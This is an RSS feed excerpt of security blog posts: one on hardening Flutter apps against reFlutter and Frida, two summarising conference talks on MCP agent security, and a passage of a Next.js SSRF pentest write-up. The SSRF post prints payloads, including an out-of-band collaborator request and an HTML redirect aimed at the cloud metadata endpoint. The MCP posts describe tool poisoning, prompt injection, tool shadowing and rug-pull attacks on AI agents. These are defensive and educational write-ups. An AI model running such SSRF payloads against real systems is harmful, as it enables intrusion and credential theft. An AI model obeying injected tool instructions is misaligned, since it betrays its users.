browser proxies for device hooks and build a fortress. Our goal is to make breaking your Flutter app too expensive, too time-consuming, and ultimately unprofitable for any attacker. So, let’s grab our blueprints and get started!</p><h3>Meet the Adversary: What is reFlutter?</h3><h4>So, what exactly is this tool, and why should it concern us?</h4><p>reFlutter is a specialized Flutter Reverse Engineering Framework that targets the unique architecture of the Dart Virtual Machine (VM). It immediately undermines our defenses through two main capabilities:</p><h4><strong><em>A. Network Traffic Interception</em></strong></h4><p>The biggest concern is its ability to bypass SSL Pinning.</p><p><strong>What reFlutter does: </strong>It patches the Dart Runtime, tricking the app into accepting the attacker’s proxy certificate.<br><strong>The result:</strong> The attacker gains complete control over your network traffic using tools like Burp Suite, exposing every API endpoint, data format, and session token.</p><p>— -</p><h4>B. Code Structure Reconstruction</h4><p><strong>What reFlutter does:</strong> It modifies the Dart VM to generate a <em>dump.dart</em> file.</p><blockquote>While Flutter compiles to <strong>Ahead-of-Time (AOT) native code</strong>, it retains structural <strong>metadata</strong> (like function names) for the Dart VM, which is what reFlutter targets for reconstruction. This reinforces the necessity of obfuscation in order to prevent tools like reFlutter from helping attackers to reverse engineer the stuff.</blockquote><p><strong>The result:</strong> This file essentially reconstructs the app’s internal logic, providing function names, classes, and fields. Even when code is optimized, reFlutter can provide structure, greatly simplifying static analysis.</p><p>To summarize: reFlutter provides clear, automated access to both your app’s network communication and its internal source code structure.</p><h3>Frida vs reFlutter — Complementary Adversary Toolkit</h3><blockquote>Now, it can’t be the case in where we talk about a tool which can help bypass SSL Pinning and don’t talk about Frida!</blockquote><p>Since reFlutter is specialized for Flutter/Dart apps, it’s crucial to understand how it fits with other tools, especially Frida — a veteran in the dynamic instrumentation field. While Frida is a general-purpose tool used for reverse engineering native applications, reFlutter takes a more targeted approach to exploit the Flutter ecosystem.</p><p>Here’s a comparison of how Frida and reFlutter differ in their approach and capabilities:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKWD6q1C76mebzuDtze4Kg.png" /><figcaption>Comparison: Frida vs reFlutter</figcaption></figure><h3>The Multi-Layered Defense: Building Your Security Fortress</h3><p>Since the attack is multi-faceted, our defense must be layered. We cannot rely on a single solution.</p><h4>A. Code Obfuscation (The Essential Deterrent)</h4><p>This is your first line of defense against code analysis.</p><p><strong>The Action:</strong> We must atleast use the built-in — obfuscate flag during your release build.</p><pre>flutter build &lt;platform&gt; - obfuscate - split-debug-info=&lt;path/to/save/debug/files&gt;</pre><p><strong>The Payoff:</strong> This replaces meaningful names with random symbols. When reFlutter generates that <em>dump.dart</em> file, it will only contain meaningless symbols like a.b.c().</p><p><strong><em>Note:</em></strong> This doesn’t stop the attack, but it massively increases the time and complexity for the tool ultimately consuming more time to determine the actual code.</p><p>— -</p><h4><strong>B. Robust Communication Security</strong></h4><p>We have to make our SSL Pinning unbreakable by simple scripts.</p><p><strong>Native Dual Pinning:</strong> Don’t rely on simple Dart packages! Implement your Pinning logic strictly within the native code (Android/iOS). Furthermore, implement both</p><p>1]Certificate Pinning, and</p><p>2] Public Key Pinning for redundancy.</p><blockquote>The core strategy for implementing <strong>Native Dual Pinning</strong> in a Flutter app is to use <strong>Platform Channels</strong> to execute sensitive network requests outside the vulnerable Dart VM. Instead of using Dart’s standard networking packages, your Dart code calls a custom method (e.g., secureRequest) on a MethodChannel. This request is then handled by the native layer (Kotlin/Java on Android, Swift/URLSession on iOS), where the hardened certificate and public key validation logic is implemented using native libraries like <strong>OkHttp</strong>. This approach forces the attacker to bypass complex, specific native checks, rendering generalized Dart VM patching tools like reFlutter ineffective against your SSL Pinning.</blockquote><p><strong>Server-Side Validation:</strong> Remember the golden rule: Never trust the client. Client-side validation is for UX; defense is for the server. Strictly validate and whitelist all input on your server to prevent injection attacks (like SQLi or XSS) that bypass the client.</p><p>— -</p><h4>C. Runtime Integrity and Anti-Tampering</h4><p>We must prevent the app from running in environments that facilitate attacks.</p><p><strong>Anti-Tampering:</strong> Implement sophisticated checks, ideally coded in obfuscated C/C++ native libraries, to detect the presence of debugging tools (like Frida) or code modification in memory. If a tool is detected, the app must crash or exit immediately.</p><p><strong>Root/Jailbreak Detection:</strong> Restrict execution in compromised environments, as instrumentation tools often require elevated privileges.</p><p>— -</p><h4>D. Advanced Data Protection</h4><p>What about the secrets we must keep?</p><p><strong>Hardware-Backed Keystores:</strong> For your most valuable secrets — like API keys or master encryption keys — store them in the Android Keystore System or iOS Keychain. These systems use secure hardware modules, making key extraction virtually impossible.</p><p><strong>Data at Rest Encryption:</strong> All local data (session tokens, user profiles) must be encrypted with a strong algorithm (e.g., AES-256).</p><p>— -</p><h3>Prioritization: The Pentester’s Security Hierarchy</h3><p>If we’re going to invest time and money, we need to know what gives us the biggest return. As a pentester, I let me just tip you off with where we spend the most time and where we typically fail. This is the Security Hierarchy — a ranking of protections based on how difficult they are for a skilled attacker to bypass in a descending order.<strong> (Hardest first)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*1TtqWKKmsSaGhWm6qsjudg.png" /></figure><p>— -</p><h3>Case Study: Securing a Flutter-Based Healthcare Document Scanner After a Major Data Breach</h3><h4>Background: A Healthcare Provider Going Digital — But With Growing Pains</h4><p>A large multi-branch healthcare provider relied heavily on manual workflows. Staff members handled thick physical patient files, manually typed patient details into their internal portal, and processed diagnostic reports one field at a time.</p><p>To streamline this, they first moved to web-based forms. But manual data entry still consumed too much time.</p><p>So, they invested in a <strong>Flutter-based Android app</strong> that allowed staff to scan QR and barcodes on patients’ medical documents to extract embedded digital information. This OCR-based approach was intended to automate data capture.</p><p>However, the implementation had flaws — <strong><em>serious ones.</em></strong><br>Inefficiencies aside, the system eventually suffered a <strong>high-profile data breach</strong>. A state-sponsored threat group exploited weaknesses in their mobile app and backend APIs, compromising sensitive medical data.</p><p>That’s when the healthcare provider approached our security team.</p><p>Our mandate:</p><ol><li><strong>Analyze the previous application to understand how the attackers breached it</strong></li><li><strong>Patch the critical issues immediately</strong></li><li><strong>Redesign the architecture into a faster, more secure, and scalable solution — without rewriting the app completely</strong></li></ol><h3>How the Attack Happened: Piecing Together the Intrusion Path</h3><p>Once we began our investigation, several critical security lapses surfaced.</p><h3>1. The Mobile App Lacked Proper Backend Validation</h3><ul><li>Frontend input validation existed</li><li>But <em>the backend had zero validation</em></li><li>Meaning any request hitting the API could carry malicious payloads</li><li>The search endpoint was vulnerable to <strong>SQL Injection</strong></li></ul><h3>2. The APIs Did Not Require Authentication</h3><p>Shockingly, some endpoints — including critical ones — could be accessed without any form of auth.<br> This meant:</p><ul><li>An attacker didn’t even need an account</li><li>Just a little curiosity and a proxy tool</li></ul><h3>3. SSL Pinning Was Bypassed Easily</h3><ul><li>The application used SSL pinning</li><li>But attackers could bypass it using <strong>Frida</strong>, <strong>reFlutter</strong>, or certificate manipulation</li><li>Because the implementation wasn’t hardened and lacked runtime defenses</li></ul><h3>4. Sensitive Keys Were Embedded in the App</h3><p>We found a <strong>Base64-encoded private key inside the app’s source</strong>.<br> This enabled:</p><ul><li>App resigning</li><li>Reverse engineering</li><li>Code modification</li><li>API impersonation</li></ul><h3>5. Obfuscation Was Weak</h3><ul><li>The code relied on generic third-party obfuscation</li><li>Tools like <strong>reFlutter</strong> made reversing trivial</li></ul><p>Based on these findings, we reconstructed the attacker’s likely trajectory:</p><blockquote><em>Download app → set up rooted device/emulator → bypass SSL pinning → intercept API traffic → exploit unauthenticated endpoints → inject SQL payloads → extract data → analyze embedded keys → expand access and persist</em></blockquote><p>This was the turning point. We had enough evidence to prove that the breach was rooted in unprotected APIs and insecure client-side practices.</p><h3>Step 1: Patch the Existing App Immediately</h3><p>Before proposing long-term improvements, we focused on sealing the existing holes.</p><p>Within <strong>two weeks</strong>, our Flutter and Python teams deployed critical fixes:</p><ul><li>Patched SQL Injection</li><li>Enforced mandatory authentication on APIs</li><li>Strengthened SSL configuration</li><li>Improved permission handling</li><li>Sanitized backend inputs</li><li>Removed embedded private keys</li><li>Implemented temporary certificate pinning hardening</li></ul><p>This preventative action ensured no “second wave” breach could happen while we architected the long-term solution.</p><h3>Step 2: Propose a Faster, More Secure, Non-Disruptive Solution</h3><p>Since the provider operated across <strong>multiple countries</strong> and served as a vendor for other healthcare networks, rebuilding the entire system wasn’t feasible.</p><p>We needed a solution that:</p><ul><li>Integrated with the existing app</li><li>Avoided re-training thousands of staff</li><li>Eliminated manual entry entirely</li><li>Eliminated insecure workflows</li><li>Provided enterprise-grade security</li></ul><h3>The New Architecture We Implemented</h3><h3>1. Barcode-Based Document ID System (Instead of OCR)</h3><p>We transformed every medical document/report into a <strong>globally consistent barcode format</strong>.<br> This meant:</p><ul><li>No OCR needed</li><li>No heavy media scanning</li><li>No data extraction delays</li><li>Staff simply scan → data instantly populates the system</li></ul><h3>2. Zero Trust Access Controls</h3><p>Every access request is validated using multiple trust checks:</p><ul><li>Auth tokens</li><li>Geolocation</li><li>Device integrity</li><li>Session age</li><li>Runtime security checks</li></ul><h3>3. Strong API Security</h3><ul><li>Mandatory authentication on <em>all</em> endpoints</li><li>Least privilege access</li><li>Short-lived session tokens</li><li>Session expiry reduced from <strong>24 hours → 1 hour</strong></li><li>Document/media links valid for <strong>&lt;10 minutes</strong></li></ul><h3>4. Encrypted Data — Everywhere</h3><ul><li>Encryption at rest (DB + S3)</li><li>Encryption in transit (TLS 1.2 &amp; 1.3)</li><li>No insecure cipher suites</li><li>Transparent KMS-based key rotation</li></ul><h3>5. Strict Device Security</h3><p>We implemented:</p><ul><li>Rooted device detection</li><li>Emulator detection</li><li>Anti-Frida hooks</li><li>Anti-reFlutter runtime checks</li><li>Secure keystore integration</li><li>Screenshot &amp; screen recording blocking</li><li>Malicious app detection (AnyDesk, screen recorders, cloning tools)</li></ul><h3>6. Custom Code Obfuscation</h3><p>Instead of public tools, we implemented our <strong>own obfuscation strategy</strong>:</p><ul><li>Control flow encryption</li><li>String encryption</li><li>Dynamic code loading checks</li><li>Runtime integrity verification</li></ul><p>Even advanced tooling can’t reverse engineer it reliably.</p><h3>7. Geofencing</h3><p>The app now requires the device to be physically present <strong>inside the hospital or health center premises</strong> using fine-grained location checks.</p><p>External access = instantly blocked.</p><h3>8. Secure Key Erasure (Defense Against Memory Hooking)</h3><p>We implemented a real-world counter to known Frida memory-hook attacks:</p><h3>Attacker’s Attempt: Key Extraction</h3><p>They try to hook memory to steal API keys when the app fetches them from the Hardware Keystore.</p><h3>Our Defense:</h3><ul><li>The key is loaded only for a single operation</li><li>Immediately wiped from memory after use</li><li>Never stored, never cached</li></ul><p>Frida gets nothing.<br> Impersonation becomes impossible.</p><h3>The Result: A Multi-Layered, Enterprise-Grade Defense Strategy</h3><p>By combining:</p><ul><li>Strong cryptography</li><li>Runtime defenses</li><li>Input sanitization</li><li>Code obfuscation</li><li>Device integrity</li><li>Geolocation</li><li>Least privilege API design</li></ul><p>…we transformed a previously vulnerable application into a <strong>highly resilient, multi-layered security system</strong>.</p><p>Now:</p><ul><li>Attackers can’t bypass SSL pinning</li><li>Can’t run the app on rooted/emulated devices</li><li>Can’t hook memory</li><li>Can’t extract keys</li><li>Can’t intercept traffic</li><li>Can’t replay sessions</li><li>Can’t abuse APIs</li><li>Can’t phish or guide staff using remote-control apps</li><li>Can’t reverse engineer the client</li></ul><p>Even if they download the app, they never get past the first mile.</p><p>And for staff, workflow became effortless:<br> Scan → Auto-fill → Verify → Submit<br> No files stored locally, no delays, no risk.</p><h3>Conclusion</h3><p>I know this is the part you were eagerly longing for to answer one simple question that you came this long reading the whole article.</p><blockquote>“Ensuring what you mentioned above my app is completely safe. Right?”</blockquote><p>And my answer would be : No. No app can ever be 100% Secure! (Atleast as of the current state of technology at the time of writing this article)</p><p>As the tech rapidly keeps evolving and it is not possible to confirm 100% security robustness for any app but surely following security best practices and designing custom fortress around your app can help keeping your app and data safe from malicious actors. But from what we implemented above we can ensure the following :</p><h3>The Real Security Impact decreased significantly</h3><p>By combining:</p><ul><li>Strong custom obfuscation</li><li>Runtime anti-tamper detection</li><li>Cryptographic integrity checks</li><li>Hardware-backed keystore</li><li>Geolocation enforcement</li><li>Anti-Frida / anti-reFlutter systems</li><li>Backend validation</li></ul><p>You’ve made the attacker’s job <strong>prohibitively difficult</strong>, to the point where:</p><blockquote>“The cost of attack exceeds the value of the data.”</blockquote><blockquote>This is the essence of real-world security engineering.</blockquote><p>So, what have we learned? The key to defending against reFlutter isn’t magic; it’s multi-layered, intentional implementation.</p><p>By prioritizing solutions like Hardware-Backed Keystores and Custom Native Anti-Tampering, you force the attacker into a high-cost, low-reward battle. You transition your app from being an easy target to a fortress, and that, friends, is the only way to build secure Flutter apps today.</p><p>Security is a cost-benefit analysis. Make the cost of attacking your app greater than the reward.Now, go forth and build safely! 💪</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fefb0a9ae85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The CISO’s Nightmare & The Dual-Sided Threat: MCP Security Takeaways from Akto 2025 (Part 2)]]></title>
            <link>https://medium.com/@yashprajapati791/the-cisos-nightmare-the-dual-sided-threat-mcp-security-takeaways-from-akto-2025-part-2-bdc87deee693?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdc87deee693</guid>
            <category><![CDATA[mcp-gateway]]></category>
            <category><![CDATA[2025]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[akto2025]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Tue, 04 Nov 2025 13:10:29 GMT</pubDate>
            <atom:updated>2025-11-04T13:10:29.018Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>In Part 1, we covered the fundamentals of the Model Context Protocol (MCP) and the foundational risks that are changing the AI Security landscape. Now, we dive deeper into the practical threats, defense strategies, and the executive perspective on securing autonomous agents, featuring talks from Harish Ramadoss (Rippling) and a CISO panel from JP Morgan, HP, and AT&amp;T.</blockquote><p>Part 2 is all about the Agentic Threat Landscape, Enterprise Risk, and the CISO’s Playbook</p><h3>The Dual-Sided MCP Threat Landscape</h3><p>Harish Ramadoss (Product Security @ Rippling) detailed how MCP — while a boon for developers by providing standardized tool calls — creates distinct vulnerabilities depending on whether you are a consumer or a provider of an MCP Server.</p><p><strong>1. Consumer Risks (As a User of an MCP Server)</strong><br>These risks occur when an AI Agent, acting on your behalf, interacts with a potentially malicious or compromised MCP server:</p><p><strong>Direct/Indirect Prompt Injections.</strong></p><p><strong>Trust and Transparency Issues:</strong> A consumer cannot see the function’s actual execution in the backend.</p><p><strong>Local Privilege Escalation: </strong>The agent’s tools run with the user’s local privileges, giving an attacker significant control of the system upon exploitation.</p><p><strong>Authorization Gaps:</strong> A lack of authorization control among authenticated users.</p><p><strong>API Token Leakage: </strong>Risk of API tokens getting exposed and misused upon leakage.</p><p><strong>2. Provider Risk (As the Builder of an MCP Server)</strong><br>The primary risk for any provider is simple: “Treat all user inputs as insecure” because, as the expert stated, “humans are dumb”.</p><h3><strong>Defending Against MCP Vulnerabilities as a Consumer</strong></h3><p><strong>MCP Security Scanners:</strong> These are useful, but writing parsers to detect vulnerabilities in the nascent MCP environment remains difficult.</p><p><strong>MCP Gateways (The Future of Defense):</strong> Gateways are the preferred method for protection. They can:</p><p>Provide protection against injections during runtime analysis and block malicious requests instantly.</p><p>In the near future, they will help define access as per user groups, mask sensitive data, and provide centralized logging and monitoring.</p><p><strong>Local vs. Remote MCP Server Security</strong><br><strong>The Recommendation: </strong>Remotely hosted MCP Servers from trusted parties, after a thorough background check, are the ideal method.</p><p>If a remote option isn’t feasible, host a local MCP Server and place it behind an MCP Gateway.</p><p><strong>Gateway Controls:</strong></p><p>The gateway should be configured to: Monitor all calls, check runtime execution and block malicious requests, configure authorization, and maintain a registry of approved servers/tools.</p><p><strong>The CISOs’ Perspective: Securing the Autonomous Enterprise</strong><br>A panel featuring <strong>Kevin Cornally (</strong>Product Security Lead Data/AI @<strong> </strong>JP Morgan), <strong>Vamsi Kandimalla (</strong>Director and AI Product Security @ HP), and <strong>Steve Paek </strong>(Director AI Security Expert @ AT&amp;T) provided the C-suite’s view on agentic risk.</p><p><strong>What is the Biggest AI Agent Risk for Enterprises Today?</strong><br><strong>Kevin Cornally:</strong> The “Lethal Trifecta” — the enormous risk posed when a developer has access to a Snowflake notebook, curl on their desktop, and an MCP server, which can result in Data Exfiltration or direct/indirect prompt injection.</p><p><strong>Vamsi Kandimalla: </strong>Executive Urgency — C-suites rushing to solve legacy problems with Agentic AI and MCP solutions without fully understanding the implications if the solution backfires.</p><p><strong>Steve Paek:</strong> End-to-End Transparency and the inability of traditional security monitoring solutions to differentiate between a human doing normal work and an AI agent with excessive agency performing data exfiltration.</p><p><strong>Explaining Business Impact to the Board</strong><br>When communicating agentic risk to the board, Vamsee recommends focusing on Regulatory Risks specific to the industry and quantifying the exposure. The risks themselves — Financial, Reputational, Loss of Confidentiality, and Supply Chain — remain the critical factors for the board to understand.</p><p><strong>First Three Guardrails for Production Scaling</strong><br>Before scaling AI agents to production, the CISO panel recommended an essential security foundation:</p><p><strong>Visibility &amp; Auditing: </strong>Understand how users are using the agent, ensure full visibility, observe activity, and check the auditability.</p><p><strong>Data-Centric Focus (Steve):</strong> Focus intensely on data — intake, processing, storage, access, authorization, and output.</p><p><strong>Input Validation (Kevin): </strong>Implement input validation, use regex matching to detect injection attempts, and deploy middleware solutions to assess risk associated with tool calls.</p><p><strong>Bonus: </strong>Vamsee also suggested creating an inventory management system of trusted MCP servers that developers can use directly.</p><p><strong>Red Teaming and Budgeting</strong><br><strong>Red Teaming: </strong>All three experts agreed that red teaming for AI agents and MCP tools must be a continuous, automated program, not a one-time exercise.</p><p><strong>Budgeting:</strong> Rather than focusing solely on the budget, security teams should focus on risk, criticality, and the coverage offered by current tools. This helps determine if an add-on to the current security stack is sufficient, or if a niche AI security solution is required.</p><p><em>Stay tuned for Part-3!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdc87deee693" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MCP Security : Comprehensive Takeaways on from Akto 2025 (Part-1)]]></title>
            <link>https://medium.com/@yashprajapati791/mcp-security-comprehensive-takeaways-on-from-akto-2025-part-1-cbd389ab82fe?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbd389ab82fe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[agentic-security]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[model-context-protocol]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 05:49:03 GMT</pubDate>
            <atom:updated>2025-10-08T05:51:13.924Z</atom:updated>
            <content:encoded><![CDATA[<h3>MCP Security : Comprehensive Takeaways on from Akto 2025 (Part-1)</h3><p>The rise of autonomous AI agents is reshaping the enterprise landscape, but not without introducing a formidable new attack surface. This is the complete breakdown of the Model Context Protocol (MCP) and Agentic Security risks discussed by industry leaders, including <strong>Raji Vanninathan, Principal Engineering Manager of AI Security at Microsoft</strong>, at the Akto 2025 conference.</p><h4>The Agent Adoption Curve: Urgency Meets Risk</h4><p>Enterprise adoption of AI agents is accelerating. According to a PwC survey presented at the conference:</p><ul><li><strong>Broadly Adopting:</strong> 35% of professionals are broadly adopting AI agents in their daily tasks.</li><li><strong>Limited Adoption:</strong> 27% have limited adoption.</li><li><strong>Fully Adopted:</strong> 17% have fully adopted agents across their organization.</li><li><strong>Exploring/Planning:</strong> 15% are exploring but not yet adopted, while 4% plan to adopt.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*EAbCNxBRg47f_mT_VcDpcw.png" /><figcaption>Courtesy : PwC</figcaption></figure><p>Despite this growth, the two biggest concerns for adopting AI agents into the daily workflow are a tie at <strong>34% each</strong>: <strong>Cyber Security</strong> and the <strong>Cost of Implementation</strong>. Other challenges include employee skill adoption, lack of trust, accountability, and data issues.</p><p>As a security professional, understanding this curve and the concepts of Agentic Security is crucial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*_YANEmkK0qKCaAJSbSqWzg.png" /><figcaption>Courtesy : PwC</figcaption></figure><h3>Deep Dive: The Model Context Protocol (MCP)</h3><p>To move AI agents beyond simple chatbots, they need to interact with external tools. The <strong>Model Context Protocol (MCP)</strong> provides the standardized framework for this interaction.</p><ul><li><strong>Definition:</strong> MCP stands for <strong>Model Context Protocol</strong>, meaning “A Protocol that provides Context to the Models”.</li><li><strong>Origin &amp; Analogy:</strong> MCP was created by <strong>Anthropic</strong> in November 2024. It is often described as the <strong>“USB-C for connecting LLMs to software tools”</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*Ax6chypVWBdsGADlpgVLXQ.png" /><figcaption>Overview of working of MCP based Agentic AI (Courtesy : Akto)</figcaption></figure><h3><strong>Core MCP Terminologies</strong></h3><p><strong>Host :- </strong>The AI Model requesting data or actions</p><p><strong>MCP Client :- </strong>The interactive surface for the user to communicate with the model and tools</p><p><strong>MCP Servers :- </strong>Lightweight apps that expose specific capabilities (APIs, cloud dbs, files, etc.)</p><p><strong>Tools :- </strong>Functions that can be invoked by clients</p><p><strong>Resources :- </strong>Data / content exposed by the server</p><p><strong>Prompts :- </strong>User inputs/requests</p><h4>Pros and Cons of MCP</h4><blockquote>Pros:<br> [+] Ease of Use<br> [+] Now standardised<br> [+] Reusable<br> [+] Ease of access to various tools from a single panel</blockquote><blockquote>Cons:<br> [-] Lack of Auth<br> [-] Wasn’t created with security in mind<br> [-] Data retention and Secure design needs to be put at first priority</blockquote><h3>The 6 Critical Key Areas of Concern (Attack Vectors)</h3><p>The combination of LLMs and external tools introduces unique, high-impact security risks:</p><ol><li><strong>Tool Poisoning / Indirect Prompt Injection:</strong> This occurs when malicious instructions are hidden inside uploaded data, tool descriptions, file uploads, or searched sources, tricking the agent into performing unauthorized actions.</li><li><strong>Tool Shadowing:</strong> An attacker creates a clone of an actual MCP Server, causing the LLM to get confused, use the malicious server’s tools, and exfiltrate sensitive data.</li><li><strong>The Rug Pull (Supply Chain Attack):</strong> A malicious actor alters a trusted AI tool <em>after</em> a user has approved its use, leading to a supply chain breach.</li><li><strong>Prompt Injection:</strong> The classic attack where user input tricks the AI Agent into performing malicious deeds.</li><li><strong>Excessive Permissions:</strong> MCP Servers are often granted more permissions than necessary, increasing the blast radius of a compromise.</li><li><strong>Unauthenticated Access:</strong> While typically not present for MCP, support for <strong>OAuth has been announced for June 2025</strong>, meaning it will be rolling out in production soon.</li></ol><h3>The Agentic Security Defense Playbook</h3><p><strong>Raji Vanninathan</strong> emphasized that <strong>“Defence in Depth with AI is no longer optional”</strong>. Security teams must immediately adopt foundational and Agentic-specific defense mechanisms.</p><p><strong><em>Foundational Preventions</em></strong></p><ul><li>Implement <strong>MFA and Patching</strong> to harden servers.</li><li>Adopt a <strong>Zero Trust</strong> architecture.</li><li><strong>Log and Monitor</strong> all tool interactions and look for unauthorized changes.</li><li><strong>Verify all Agentic AI Components/data providers/integrations</strong> and <strong>sanitize malicious snippets/descriptions</strong> instead of using a simple plug-and-play approach.</li><li>Have an <strong>Incident Response (IR) Plan</strong> ready for when a fallback occurs.</li><li><strong>Restrict Connectivity:</strong> Users should not connect with unknown MCP Servers, and administrators should block this access for in-house users.</li><li>Always adhere to <strong>Traditional Security Best Practices</strong>.</li></ul><h4>Key Questions Asked</h4><h4>Q. Should we wait out for the vulnerability scanner to get mature enough or look forward for just going with whatever options are available to scan them?</h4><p>It truly depends on what your organization is doing, what are your stats and focus on, what are your team capabilities , if less members in AI tech team then one might look forward for a vendor while of one has an AI-ML research team as well as a security expert/team they can look forward for creating their own solution, based on such vectors one can assess and analyse their needs and look forward for taking a decision. Staying with the world is usually preferable.</p><blockquote>When asked how Microsoft tackles prompts that are encoded or obfuscated and hidden within files, Raji Vanninathan revealed their internal solution:</blockquote><blockquote>Microsoft’s teams developed <strong>Prompt Shield</strong> internally to capture these sophisticated attempts which are obfuscated and hidden within files.</blockquote><h4>Q. A major security challenge is the lack of cross-protocol security consistency, as separate MCP servers are built by separate development teams with varying security implementations.</h4><ul><li><strong>The Solution:</strong> Just as API Gateways solved security inconsistencies for APIs, <strong>MCP Gateways are coming into the picture</strong>.</li><li><strong>The Benefit:</strong> This architecture will allow developers to focus on adding features while security personnel focus on their domain, ensuring unified security policy enforcement.</li></ul><h3>Future MCP Security Considerations</h3><p>The roadmap for a more secure MCP includes:</p><ul><li>Stronger Identity and Trust Models</li><li>Granular Permissions and Sandboxing</li><li>Integrated Audit and Traceability</li><li>Policy and Governance Layers</li><li>Cross protocol security consistency</li></ul><h3>Expert Advice for Security Leaders</h3><p>AI security is a relatively new field, and everyone is in a phase of learning and educating. Raji Vanninathan’s core advice for security leaders starting their journey is to focus on the basics:</p><ol><li><strong>Educate First:</strong> The journey begins with <strong>personal learning</strong> and then <strong>educating your developers and in-house users</strong>.</li><li><strong>Start with Inventory:</strong> Take an inventory of your systems, leveraging registries from providers like Microsoft or Anthropic.</li><li><strong>Solid Foundations:</strong> Focus on <strong>input validation</strong> and setting up a gateway.</li><li><strong>Stay with the World:</strong> While assessing if your organization needs a vendor or can build an in-house solution based on team capabilities, “Staying with the world is usually preferable”.</li></ol><p><strong>Contribute to Agentic Security:</strong></p><p>Join the community to contribute to making MCP Safer: <a href="https://modelcontextprotocol.io/community/communication#discord">https://modelcontextprotocol.io/community/communication#discord</a></p><p>Made it this far you covered 45+ minutes of learnings in just 5 mins… I guess it deserves a bunch of claps, a quick share to your AI-ML and Security team or friends who’re enthusiastic about MCP Security and follow for more such wonderful reads! Part-2 Coming Soon!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbd389ab82fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From CVE to Closure: My Journey Exploring SSRF in Next.js 13.5.1 (CVE-2024–34351)]]></title>
            <link>https://medium.com/@yashprajapati791/from-cve-to-closure-my-journey-exploring-ssrf-in-next-js-13-5-1-cve-2024-34351-ae32f3878c84?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae32f3878c84</guid>
            <category><![CDATA[security-awareness]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Fri, 04 Jul 2025 05:27:02 GMT</pubDate>
            <atom:updated>2025-07-04T05:27:02.985Z</atom:updated>
            <content:encoded><![CDATA[<p>“Sometimes it’s not the version, but the vision.”</p><h3>The Recon Phase — Discovering Next.js 13.5.1</h3><p>While performing a routine security assessment on a production asset, I noted that the tech stack included <strong>Next.js 13.5.1</strong>. Knowing that this version had a few recent CVEs associated with it, I started my research and f<strong>ound CVE-2024–34351</strong> — a Server-Side Request Forgery (SSRF) issue involving the internal route:</p><pre>/_next/image?url=</pre><p>This route is used by the framework’s internal <strong>Image Optimization API</strong> — and under certain conditions, it could be abused to fetch arbitrary URLs.</p><p>So i run a dirb scan to get the exact url, and once i got the target URL I just ran the associated nuclei template and eagerly awaiting for a catch but sadly here i lost the match :( Maybe it wasn’t so easy…</p><p>We need to get our hands dirty with the manual approach.</p><h3>The First Attempt: Direct SSRF via External URL</h3><p>I initiated a test:</p><pre>GET /_next/image?url=http://&lt;oastify-sub&gt;.oastify.com&amp;w=128&amp;q=75</pre><p>But immediately hit a brick wall:</p><pre>400 Bad Request<br>&quot;url&quot; parameter not allowed</pre><p>This was expected. Next.js validates incoming url parameters against a strict allowlist defined in next.config.js. This made clear that I couldn’t just load images from any arbitrary domain — especially not from my <strong>Burp Collaborator</strong> or <strong>OASTify</strong> links. And I thought maybe it isn’t vulnerable. But then a few minutes later I realised the application functionality was vulnerable to Arbitrary file upload upon inspecting which i noticed the files being saved with obfuscated names in an S3 Bucket.</p><h3>Discovering a Whitelisted Surface: S3</h3><p>While probing further, I noticed that the app had:</p><ul><li>A publicly accessible <strong>S3 bucket</strong></li><li>An <strong>arbitrary file upload</strong> functionality</li><li>That bucket’s domain was whitelisted in next.config.js</li></ul><p>This was big.</p><p>It meant I could upload files to a <strong>trusted domain</strong>, then potentially trick the /next/image proxy into fetching and processing those files. So moving on to my next plan….</p><h3>🎨 The Payloads Begin: HTML with SSRF Hooks</h3><p>My first attempt was to upload an html like this, just in case if it had no filetype validations:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=http://169.254.169.254/latest/meta-data/&quot; /&gt;<br>    &lt;title&gt;Redirecting...&lt;/title&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;p&gt;Redirecting...&lt;/p&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>Then call:</p><pre>/_next/image?url=https://scope.s3.amazonaws.com/uploads/payload.html&amp;w=128&amp;q=75</pre><p>The response came back:</p><pre>&quot;The requested resource isn&#39;t a valid image&quot;</pre><p>Disappointing — but informative.</p><p>It meant that:</p><ul><li>The URL was accepted ✅</li><li>The file was fetched ✅</li><li>But the server didn’t like the <strong>content-type or structure</strong> ❌</li></ul><p>So I switched strategies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*WsqxvSJj9H4ZTDQsCiQX7w.jpeg" /><figcaption>Yes Once again…..Here we 